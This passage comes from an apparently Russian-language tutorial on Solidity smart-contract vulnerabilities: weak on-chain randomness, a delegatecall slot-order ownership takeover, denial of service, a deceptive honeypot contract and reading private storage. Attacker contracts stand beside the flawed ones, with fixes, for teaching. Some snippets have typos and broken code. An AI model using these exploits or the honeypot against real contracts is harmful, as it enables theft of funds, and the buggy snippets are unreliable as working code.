            require(sent, &quot;Failed to send Ether&quot;);
        }
    }
}</pre>
  <h3 id="RRPF"></h3>
  <p id="qxIM"><strong>В чем ошибка?</strong></p>
  <p id="7qsU">Используя blockhash и block.timestamp мы создаем рандом только на первый взгляд. Но если хакер напишет контракт точно с такой же функцией, то ему не составит труда постоянно угадывать число</p>
  <p id="hjoG"><em>Следи за руками, как мы вынесем казино Максима и никаких фокусов</em></p>
  <pre id="mzbT" data-lang="javascript">contract HackCasino {
//функция принятия денег. Мы же хотим получить выигрыш на этот контракт
    receive() external payable {
}
//здесь при вызове этой функции указываем аргументом контракт Казино...
    function attack(MaxCasino maxCasino) public {
//копируем метод &quot;рандома&quot; из контракта казино...
//как видим все в точности также 
        uint answer = uint(
            keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))
        );
//получив ответ передаем его в функцию guess в контракт Казино на проверку...
//естественно мы забираем выигрыш и так бесконечно, пока не опустшим
        maxCasino.guess(answer);
    }
}</pre>
  <p id="cP7d"><br /><strong>Как этого избежать?</strong></p>
  <p id="hkQ6">На самом деле способов для генерации рандома толком нет. Да, это странно, но это так. Единственное можно использовать ораклы, это, конечно, затратно, но оно стоит того.<br /><br />А вообще можно написать что-то такое. Уже лучше, чем в коде выше, но это все еще не рандом.<br /><br /><strong>НО вообще запомни</strong>: не пытайся создавать рандом подобными образами, это все распаковывается и никакой это не рандом. Выход только в использовании оракулов!</p>
  <pre id="PYN0" data-lang="javascript">function getRandomNumber(uint _salt) private view returns(uint) {
        return uint(
            keccak256(
                abi.encodePacked(
                    _salt,
                    blockhash(block.number - 1),
                    blockhash(block.number - 2),
                    blockhash(block.number - 3)
                )
            )
        );
    }</pre>
  <h3 id="fdfU"><br />4. Delegatecall или как тебя заменят</h3>
  <blockquote id="SgLm">В 2017 году был взломан кошелек Parity примерно на $40 млн по тому курсу ETH. И чтобы разобраться как такое произошло мы с вами спустимся немного ниже. Да, речь пойдет о низкоуровневых штуках, но ты не пугайся. Это не так уж сложно. Эта уязвимость покажет нам насколько важно быть внимательным</blockquote>
  <p id="BKf6">В Солидити есть низкоуровневые вызовы и один из них это delegatecall, правда с ним есть одна проблема. Эти вызовы очень важны, они позволяют вызывать функции из других контрактов даже если нет исходного кода. <br /><br />Если взять отдельно delegatecall, то он позволяет делегировать функции из контракта А в контракт В.</p>
  <p id="AQg8"><br /><strong>ВАЖНО: при использовании delegatecall порядок переменных сохраняется из контракта А</strong></p>
  <p id="mV4x"><em><strong>Смоделируем ситуацию:</strong></em><br /><br />Теперь Максим хочет инвестировать уже свои деньги в чей-то пул, он решает написать для этого смарт контракт и делегировать функции из другого контракта, который является пулом. Давай начнем с другого контракта, который является пулом</p>
  <pre id="exLc" data-lang="javascript">contract PoolForMax{
//задаем переменную счастливчика...
//она по идее не нужна, но будем использовать для примера...
//ее присутствие покажет нам...
//насколько важно при delegatecall сохранять порядок переменных
    address public luckyMan;// слот 0
    mapping (address =&gt; uint) public balancesPeople;// слот 1
    address public owner;// 2

 constructor(){
 owner = msg.sender;
 }
//здесь мы сохраняем каждого вкладчика в этот пул в простой мэппинг...
//состоящего из его адреса и суммы 
 function deposite(address _luckyMan) public payable {
 balancesPeople[msg.sender] += msg.value;
 luckyMan = _luckyMan;
  }
}</pre>
  <p id="REoH">Теперь посмотрим контракт Максима</p>
  <pre id="1Fx4" data-lang="javascript">contract MaxWyldeDepositInPool{
//ключевая ошибка ставить переменную owner первой
 address public owner;// слот 0

 mapping (address =&gt; uint) public balances;// слот 1

 address public luckyMan;// слот 2
 address public poolForMaxAddress; // слот 3

 constructor(address _poolForMaxAddress) {
 owner = msg.sender;
 poolForMaxAddress = _poolForMaxAddress;
 }
//отправка денег в пул через delegatecall...
//здесь у нас нет никаких проблем
    function depositeInPool(address _luckyMan) public payable {
       (bool success, ) = poolForMaxAddress.delegatecal(abi.encodeWithSignature(&quot;deposite(address)&quot;, _luckyMan) );
       require(success, &quot;Faild!&quot;);
    }
 }</pre>
  <p id="TXnW"><br /><strong>В чем ошибка?</strong></p>
  <p id="sPNE">Смотри, очень важно, чтобы в контракте, который использует delegatecall к другому контракту переменные стояли в одинаковом порядке с самого начала.<br />Ведь у переменных есть так называемые слоты (см. в коде, я это подсветил). Короче, если в контракте А определенные переменные занимают слоты с 0 до 2, то и в контракте В должно быть также.<br /><br />Например:<br /> В первом контракте переменная address public luckyMan = 0 слот<br /> Во втором контракте переменная address public owner = 0 слот<br /><br />Это проблема, но мы можем легко ей воспользоваться и поменять владельца в смарт-контракте Макса из-за того, что он нарушил главное правило при использовании delegatecall</p>
  <pre id="lxEu" data-lang="javascript">contract Hack{
//сейчас будем работать с контрактом Макса
 MaxWyldeDepositInPool public maxWyldeDepositInPool;
 address public owner;

 constructor(address _maxWyldeDepositInPool) {
 owner = msg.sender;
 addressHack = maxWyldeDepositInPool(_maxWyldeDepositInPool);
 }
//в этой функции мы всего-то вызываем функцию depositeInPool из контракта Макса...
//вписываем свой адрес на место аргумента...
//и из-за того, что у нас на 0 слоте у Макса стоит owner, а не luckyMan...
//мы под видом адресса luckyMan вписываем свой адрес в owner...
//назначая себя владельцем
   function maxHack(address _owner) public {
       maxWyldeDepositInPool.depositeInPool(_owner);
   }
 }</pre>
  <h3 id="qG8Q"></h3>
  <p id="iaNV">Это довольно старая ошибка, но я считаю ее по истине изысканной. Потому что дело всего лишь в такой мелочи, как разный порядок переменных. </p>
  <p id="r2yw"><strong>Как от этого избавиться?</strong></p>
  <p id="4y0C">Очевидно, чтобы не попасться на эту удочку - просто сохраняйте правильный порядок переменных, когда используете delegatecall к другому контракту. Если в другом контракте на 0 слоте address owner, то и у вас тоже на 0 слоте должен быть address owner.</p>
  <h3 id="hfGV"><br />5. Denial of Service или заблокировать функцию контракта</h3>
  <blockquote id="fVBg">Иногда можно очень просто заблокировать функцию смарт-контракта. Но для чего? Здесь вариантов масса: от блокировки выдачи денег людям и манипуляций до всяких интересных стратегий в играх, казино и прочее. Dos буквально позволяет вам стать последним, кто использует функцию в конкретном смарт контракте</blockquote>
  <p id="NcR3">Очень важная уязвимость, которую не стоит недооценивать. Да, напрямую используя ее не получится заполучить средства контракта, но поверьте мне мало кто захочет остаться со сломанным контрактом и зависшими на нем токенами.</p>
  <p id="HzsR"><strong><em>Смоделируем ситуацию:</em></strong></p>
  <p id="XGsj">Предположим Максим решил доработать свой контракт пула из <a href="#SiqD">второй главы</a>.<br />Теперь рефаунд вкладчикам будет происходить автоматически через перебор в цикле. Очень удобно, конечно, давай взглянем на код</p>
  <pre id="e0RP" data-lang="javascript">contract MaxPool {
//Создаем mapping balances, где адрес вкладчика привязывается к его сумме 
    mapping(address =&gt; uint) public balances;
//создаем массив, где будут храниться все наши вкладчики
    address[] public allPeople;
    uint refund;
//принимаем деньги на контракт...
//и сразу записываем в balances адрес вкладчика и сумму
//и добавляем каждого вкладчика в массив
    function depositPool() public payable {        
      balances[msg.sender] += msg.value;
      allPeople.push(msg.sender);    
   }
//функция для рефаунда вкладчикам
    function refundMoney() public {
//перебор циклом, который возвращает всем вкладчикам по очереди      
      for(uint i = refund; i &lt; allPeople.length; i++) {
          adress nextMan = allPeople[i];
//конечно не забываем написать защиту от reeantrancy и занулить перед отправкой            
          balances[msg.sender] = 0;
//отправляем деньги вкладчикам через низкоуровневый вызов call
          (bool success, ) = nextMan.call{value: balances[nextMan]}(&quot;&quot;);
          require(success, &quot;fail&quot;); 
//указываем, что вернули средства очередному вкладчику
          refund++;
      }
    }
//просто функция просмотра баланса этого контракта
    function checkBalance() public view returns(uint) {
        return address(this).balance;
    }
 }</pre>
  <p id="MDuA"><br />Пока не буду раскрывать карты с ошибкой, давайте посмотрим на контракт хакера</p>
  <pre id="SXRA" data-lang="javascript">contract HackYou {
//здесь мы как обычно указываем, что будем работать с контрактом Максима
 MaxPool maxPool;
 constructor(MaxPool _maxPool) {
 MaxPool = MaxPool(_maxPool);
 }
//здесь мы отправляем депозит в пул Максима...
//для того, чтобы в псоледующем его заморозить
   function deposit () external payable {
     maxPool.depositPool{value: msg.value}();
}
//в этой короткой функции кроется все зло...
//когда нам поступает рефаунд...
//срабатывает assert(false)...
//а это по идее проверка, которая если заканчивается false (здесь именно так)
//останавливает смарт контракт...
//естественно нам не могут поступить деньги и все вкладчики после нас зависли
   function hack () external payable {
     assert(false);
 }
}</pre>
  <p id="zy71"><br /><strong>Как от этого избежать?</strong></p>
  <p id="da7O">На самом деле, самый простой вариант это не использовать циклы, а оставить как было во второй главе, где люди могут сами забирать свои средства. В таком случае, наш контракт не сломается. Но есть и другие способы, они более сложные и я не думаю, что они подходят под уровень конкретно этой части. Возможно, мы это разберем в след частях.</p>
  <h3 id="zMFQ"><br /><strong>6. Honeypot или как заработать на хакерах</strong></h3>
  <blockquote id="wcqd">Заскамить хакера хорошо это или плохо? У всех будет своя правда, мы не буйдем здесь это обсуждать с точки зрения морали. Зато, что наиболее важно мы это разберем технически. Как же все таки устроить &quot;медовую ловушку&quot; для тех, кто решил забрать чужое?</blockquote>
  <p id="G9d6">Я встречал два определения для Honey Pot. Первое более известно каждому - токены которые можно купить, но нельзя продать. Оно нам сейчас не сильно интересно, да и в открытом доступе очень много разборов и примеров на всех языках мира</p>
  <p id="x0z8">Второе значение - написать контракт, который якобы содержит уязвимость и использовать его как приманку для хакеров. Но на самом деле этот контракт будет иметь не уязвимость, а ловушку для тех, кто попытается его взломать. Интересно? Интересно, погнали</p>
  <p id="J6Yi"><em><strong>Смоделируем ситуацию:</strong></em></p>
  <p id="gxsq">Максим Вайлд aka черная шляпа aka хакер имеет на уме только желание найти слабый контракт и выжать с него все до копейки. Что ж, мы можем воспользоваться жаждой наживы Максима и дать ему то что он хочет...но только на первый взгляд</p>
  <p id="8hSI"><strong>Что нам нужно знать?</strong></p>
  <p id="TgmO">Мы <strong>специально допустим в нашем контракте ошибку <a href="#SiqD">Reentrancy из второй главы</a></strong>. Но нам важно ознакомиться с еще одним хитрым ходом благодаря которому мы введем нашего хакера Максима в заблуждение. <br /><br /><strong>В контракте Pool мы &quot;КАК БЫ&quot; будем использовать контракт Logger</strong> в котором есть функция с приемом аргументов и нам даже неважно каких, мы просто должны написать так, чтобы выглядело это логично. <br /><br />Сам контракт Pool мы практически полностью скопируем из <a href="#SiqD">второй главы</a> и специально оставим там ошибку Reentrancy.<br /><br /><strong><em>Далее мы должны задеплоить оба этих контракта, получить галочку на EtherScan и вот какой код контракта Pool будет виден всем кто захочет его проверить.</em></strong><br /></p>
  <pre id="KOPk" data-lang="javascript">contract Pool {
//создаем мэппинг с привязкой адрес =&gt; сумма, все как обычно
    mapping(address =&gt; uint) public balances;
//здесь мы как бы говорим...
//что сейчас будем использовать функцию из контракта Logger ниже
    Logger logger;
//но на самом деле в этот конструктор...
//мы передаем адрес контракта HoneyPot...
//который имеет функцию блокировки вывода
    constructor(Logger _logger) {
        logger = Logger(_logger);
    }
//функция для депозита...
//чтобы хакер внес свой эфир и потом попытался забрать весь банк...
//все как во второй главе
    function depositPool() public payable {
        balances[msg.sender] += msg.value;
        logger.log(msg.sender, msg.value, &quot;Deposit&quot;);
    }
//функция рефаунда, где мы СПЕЦИАЛЬНО допустили ошибку зануления/вычитания
    function refundMoney(uint _amount) public {
        require(_amount &lt; = balances[msg.sender], &quot;Sorry, not funds&quot;);
        (bool sent, ) = msg.sender.call{value: _amount}(&quot;&quot;);
        require(sent, &quot;Failed&quot;);
        balances[msg.sender] -= _amount;
        logger.log(msg.sender, _amount, &quot;Withdraw&quot;);
    }
//просто функция просмотра баланса
    function checkBalance() public view returns(uint) {
        return address(this).balance;
    }
}
//контракт Logger...
//который несет в себе в целом адекватную функцию...
//которую мы КАК БЫ будем использовать в контракте Pool
contract Logger {
    event Log(address caller, uint amount, string action);
    function log(address _caller, uint _amount, string memory _action) public {
        emit Log(_caller, _amount, _action);    
 }
}</pre>
  <p id="OY51"><br />Отлично, у нас есть контракт Pool с уязвимостью Reentrancy и контракт Logger, который нужен только для вида<br /><br />На самом же деле <strong>в конструктор мы будем передавать не Logger, а контракт нашего HoneyPot</strong>, который несет в себе функцию блокировки снятия средств. То есть, <strong>никто не сможет сделать рефаунд</strong><br /><br /><strong><em>Давай напишем HoneyPot</em></strong></p>
  <pre id="ZXiP" data-lang="javascript">contract HoneyPot {
//когда хакер Максим пытается запросить рефаунд срабатывает эта функция...
//эта функция всегда откатывает транзакцию и возвращает &quot;HoneyPOOOOOOT&quot;
    function log(address _who, uint _sum, string memory _act) public {
        if (equal(_act, &quot;Withdraw&quot;)) {
            revert(&quot;HoneyPOOOOOOT&quot;);
        }
    }
//функция сравнения строк
     function equal(string memory _x, string memory _y) public pure returns (bool) {        return keccak256(abi.encode(_a)) == keccak256(abi.encode(_b));
    }
}</pre>
  <p id="LSj3"><br />Именно адрес этого контракта мы указывали в конструктор и выдавали его за контракт Logger, который не вызывает вопросов</p>
  <p id="x6JJ">Ну и лишний раз посмотрим хакерский контракт Максима Вайлда, который пытался вывести все эфиры</p>
  <pre id="mAef" data-lang="javascript">contract HackPoolMaxWylde {
//в принципе здесь все примерно также, как и в контракте хакера со 2 главы
    uint constant AMOUNT = 1 ether;
    Pool pool;
    constructor(address _poolAddress) {
        pool = Pool(_poolAddress);
    }

    function depositMaxPool() external payable {
        pool.depositPool{value: AMOUNT}();
    }

    function hack() external {
        pool.refundMoney(1);
    }

    receive()  external payable {
        if(pool.checkBalance() &gt; 0) {
            pool.refundMoney(1);
       }
    }
}</pre>
  <p id="flAn"></p>
  <h3 id="xFm2"><br />7. Accessing Private Data или как раздобыть приватную инфу из контракта</h3>
  <blockquote id="zkOp">Скорее всего, за свой опыт в крипто вы часто прибегали к помощи скриптов для автоматизации тех или иных процессов. Часто вам приходилось доверять чужому коду, вставлять туда приватники и надеяться, что все обойдется без скама. Но вставляя свои приватные данные в софты для автоматизации чего либо стоит вопрос только о доверии к разработчикам этих софтов. Но в смарт контрактах есть очень тонкий лед и это должен усвоить каждый. Даже если вы с нуля написали свой смарт контракт и зашили туда свои приватные данные - то можете с ними попрощаться.</blockquote>
  <p id="HJwJ">Accesing Private Data звучит в целом очень логично и для того чтобы получить доступ к приватным данным из переменных не нужно быть супер-хакером. </p>
  <p id="iaiL"><strong><em>Смоделируем ситуацию:</em></strong></p>
  <p id="Ry8m">Максим решил написать смарт-контракт и зашить в него свое имя и свой главный секрет присвоив своим переменным тип видимости &quot;private&quot;. Он напишет очень простой код, который отлично покажет в чем основная ошибка</p>
  <pre id="fuS5" data-lang="javascript">contract MaxSecrets {
   //созданы переменные куда сохранятся приватные данные Максима
   bytes32 private name; // слот 0
   bytes32 private secret; // слот 1
   //именно сюда Максим передаст свое имя и свой секрет...
   //и конструктор сохранит это в приватные переменные выше
   constructor (bytes32 _name, bytes32 _secret) {
        name = _name;
        secret = _secret;
    } 
  }</pre>
  <h3 id="ZcrQ"></h3>
  <p id="dMfb"><strong>В чем ошибка?</strong></p>
  <p id="rF74">Все приватные переменные являются приватными только в контексте области видимости смарт контракта, на самом деле мы можем распаковать все эти данные и важно учитывать несколько очень важных правил</p>
  <ul id="sWZw">
    <li id="WulU">Один слот занимает 32 байта</li>
    <li id="pNyR">Несколько переменных могут даже уместиться в один слот</li>
    <li id="n4hg">Массивы естественно могу занимать несколько слотов</li>
    <li id="O7sj">Функции не занимают никаких слотов</li>
  </ul>
  <p id="vC6l"><strong>Как получить доступ?</strong></p>
  <p id="aeJJ">Например, мы можем через тесты в терминале используя hardhat (про тесты мы будем плотно говорить в других частях) обратиться к контракту вот таким образом, после чего воспользоваться console.log для того, чтобы увидеть результат</p>
  <pre id="xMZa">const slot 0 = await ether.provider.getStorageAt(MaxSecret.address, 0);
const slot 1 = await ether.provider.getStorageAt(MaxSecret.address, 1);

console.log(&quot;what is name?&quot;, slot 0);
console.log(&quot;what is secret?&quot;, slot 1)</pre>
  <p id="ncSE">Кстати, результат мы получим в &quot;байтах&quot;, но перевести все это дело в исходные вариант - проблем не составит</p>
  <p id="Glj9"></p>
  <p id="NPHK"></p>
  <h2 id="WIlV">Заключение!</h2>
  <blockquote id="MbcC">Вот и подошла к концу первая из серии статьей на тему уязвимостей смарт контрактов. Впереди вас ждут новые части, где с каждым разом мы будем нырять все глубже и глубже. Пока не преисполнимся и не объединимся в сильное аудиторское агентство, хех</blockquote>
  <p id="KMoZ">Во-первых, нужно перечитывать эту статью неоднократно, если тебе что-то вдруг непонятно. Не бойся гуглить, потому что это лучший навык, а также обязательно применяй этот код в Remix и экспериментируй с ним<br /><br />Во-вторых, спасибо за поддержку и помощь в некоторых моментах Ilya Krukowski, обязательно, оформи подписочку на его <a href="https://t.me/dev_in_ruby_colors" target="_blank">тг</a> и <a href="https://www.youtube.com/@IlyaBodrovKrukowski" target="_blank">ютуб канал</a> (кстати лучший плейлист-курс по Солидити)<br /><br />В-третьих, спасибо <a href="https://t.me/guidedao" target="_blank">GuideDAO </a><em>(промокод на 10% &quot;IZIDAO&quot;)</em>. Если бы не было их, то и не было бы этой статьи. Лучшая web3 школа, где я наконец-то смог начать осваивать код<br /><br /><strong><em>Скоро увидимся!<br /><br />P.S скоро я дропну смарт-контракты с этими уязвимостями и реальным балансом с эфирами. Кто хакнет - тот и заберет. <a href="https://t.me/izidao" target="_blank">Подписывайся на меня</a>, скоро все будет</em></strong></p>

]]></content:encoded></item></channel></rss>